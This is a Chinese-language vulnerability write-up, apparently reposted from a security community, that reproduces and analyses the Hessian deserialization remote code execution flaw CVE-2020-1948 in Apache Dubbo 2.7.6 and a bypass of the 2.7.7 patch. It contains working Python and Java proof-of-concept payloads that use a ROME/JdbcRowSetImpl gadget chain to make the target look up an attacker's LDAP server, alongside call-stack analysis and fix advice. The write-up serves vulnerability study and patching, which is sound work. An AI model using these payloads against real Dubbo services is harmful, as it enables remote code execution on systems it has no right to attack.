hessian序列化_Apache Dubbo 2.7.6反序列化入侵复现及分析

转载:先知社区 作者:tornado

简介

  1. Dubbo从大的尺寸上将是RPC框架,负责封装RPC调用,支持很多RPC协议

  2. RPC协议包括了dubbo,rmi,hessian,webservice,http,redis,rest,thrift,memcached,jsonrpc等

  3. Java中的序列化有Java原生序列化,Hessian序列化,Json序列化,dubbo序列化

13b208e8c5190cb92dbc4b35a5186a99.png

图片来源:https : //www.anquanke.com/post/id/209251

环境搭建

  1. 克隆项目

  • git clone https://github.com/apache/dubbo-spring-boot-project.git

  • git checkout 2.7.6

添加rome依赖

dubbo-spring-boot-samples文件夹,在provider-sample文件夹下的pom里添加

com.rometoolsrome1.7.0

启动服务端

org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap

复现

python版本

# -*- coding: utf-8 -*-# Ruilin# pip3 install dubbo-pyfrom dubbo.codec.hessian2 import Decoder,new_objectfrom dubbo.client import DubboClientclient = DubboClient('192.168.2.1', 12345)JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://192.168.2.2:1389/nnyvbt",strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='any_name',method_name='any_method',args=[toStringBean])print(resp)

java版本

  1. DemoService增加接口方法

    String rceTest(Object o);
  2. DefaultDemoService实现接口方法

    @Overridepublic String rceTest(Object o) {return "pwned";}
  3. DubboAutoConfigurationConsumerBootstrap客户端增加调用

    public ApplicationRunner runner() throws Exception {
    Object o = getPayload();
    return args -> logger.info(demoService.rceTest(o));
    }
    private static Object getPayload() throws Exception {
    String jndiUrl = "ldap://192.168.2.2:1389/sg56vh";

    ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
    EqualsBean root = new EqualsBean(ToStringBean.class, bean);

    return JDKUtil.makeMap(root, root);
    }
  4. 运行provider服务者,再运行consumer消费者,触发漏洞

流量

01c959b534608642aa3a188807f87038.png

0xdabb开头的为dubbo流量,提出后可以直接用socket发送触发漏洞

分析

python版本触发点

org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument()
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
java.lang.StringBuilder.append()
java.lang.String.valueOf()
org.apache.dubbo.rpc.RpcInvocation.toString()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()

python版本poc成功触发的关键点在于,通过构造一个不存在的service_name使得服务端获取不到期望的DubboExporter进而抛出异常,而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法,所以能够通过构造的恶意对象的toString方法触发漏洞

8b076a1625cfcb8cc7f90c9e8acd4845.png

那么关键点就在异常处理部分了,也正是rui0提出的“后反序列化漏洞”的利用场景,重点来看一下

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()

//dubbo 2.7.3if (exporter == null) {throw new RemotiyicngException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);} else {return exporter.getInvoker();}

dubbo 2.7.3版本中,抛出异常部分直接拼接了inv,此时inv为DecodeableRpcInvocation对象,并且arguments值为我们设置的ToStringBean对象,在对其直接进行字符串拼接时会触发String.append->String.valueOf->obj.toString(),进而将ToStringBean进行tostring触发漏洞

而在2.7.5之后的版本中,throw RemotiyicngException部分变成了

//dubbo 2.7.5if (exporter == null) {throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));} else {return exporter.getInvoker();}

注意到对inv经过了getInvocationWithoutData处理,这个处理是这样的:

//org.apache.dubbo.rpc.protocol.dubbo.DubboProtocolprivate Invocation getInvocationWithoutData(Invocation invocation) {if (this.logger.isDebugEnabled()) {return invocation;} else if (invocation instanceof RpcInvocation) {RpcInvocation rpcInvocation = (RpcInvocation)invocation;rpcInvocation.setArguments((Object[])null);return rpcInvocation;} else {return invocation;}}

可以看到将invocation中的arguments值处理成了空,经过这个处理之后后续的toString利用链就无法继续下去,起到了第一层防御效果,因此通过设置arguments为恶意对象的方法就无法在2.7.5版本以上触发。

相关commit可以在这里看到

Java版本触发点

org.apache.dubbo.remoting.transport.DecodeHandler.decode()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject()
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject()
com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap()
com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap()
java.util.HashMap.put()->hash()->hashCode()
com.rometools.rome.feed.impl.EqualsBean.beanHashCode()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()

下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞?

除了上面的commit修复了异常处理中的toString外,官方还提交了一个PR

c3860d3d6291cdedc7413260273382bd.png

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()中增加了RpcUtils.isGenericCallRpcUtils.isEcho的判断,在没有补丁之前,pts还能通过反射从desc中获取到,而打了补丁后,如果方法名不是$invoke$invokeAsync$echo则直接抛出Service not found,因此当用python版本poc发送不存在的service_name或method_name时,便通不过判断,也就无法利用。

上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的,那么如果我们传入正确的方法名和参数类型,该条件就不成立,也就不会进入RpcUtils.isGenericCallRpcUtils.isEcho,从而绕过了对调用的方法名的判断

54a52b672114b84826f90d1a9d6decfd.png

因此我们重新实现一下客户端代码,调用正确的服务名和方法名,并传入构造的map对象,便能再次触发漏洞。

触发条件:必须知道服务端的完整service name和方法名,同时该方法需要能接收map或object对象,客户端才能通过正确的服务名和方法名去调用,否则是无法触发的。

2.7.7绕过

上面分析了CVE-2020-1948,看似补丁修复了漏洞,但之后又有讨论说在2.7.7上又存在绕过,下面也来分析一下

还是看getInvocationWithoutData方法,注意到在设置arguments为空之前有这么两行代码

if (this.logger.isDebugEnabled()) {return invocation;}

这就是说如果provider是以debug模式启动的,那么会直接返回invocation对象。。。

配置一下服务端启动的日志级别,然后修改python版本poc的method_name$invoke,成功绕过2.7.7补丁(还需要注意服务名是否匹配和服务版本号的问题)

<?xml version="1.0" encoding="UTF-8"?>scan="true">name="com.alibaba.dubbo" level="DEBUG"/>

69b2238b6696bbcd5337ebfe27a14c91.png

小结

上面两种触发方式是不一样的,一个是利用异常处理中存在设计不足,使得可以执行用户可控参数的toString方法,也即“后反序列化”利用思路,另一个是直接反序列化hessian2数据,期间对hashmap的操作进入toString,从调用栈上也能看出两者的区别。

修复方式

按照dubbo/pull/6374建议的方法,给ParameterTypesDesc加上校验,严格限制类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;,同时建议参考sofa-hessian给反序列化加上黑名单

a1022a7cb6380d2825d400c97154b97d.png

参考

  • https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html

  • http://rui0.cn/archives/1338

  • https://www.anquanke.com/post/id/197658

  • https://github.com/apache/dubbo/pull/6374

9d9708c12950ef0af9723e83f411bc76.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值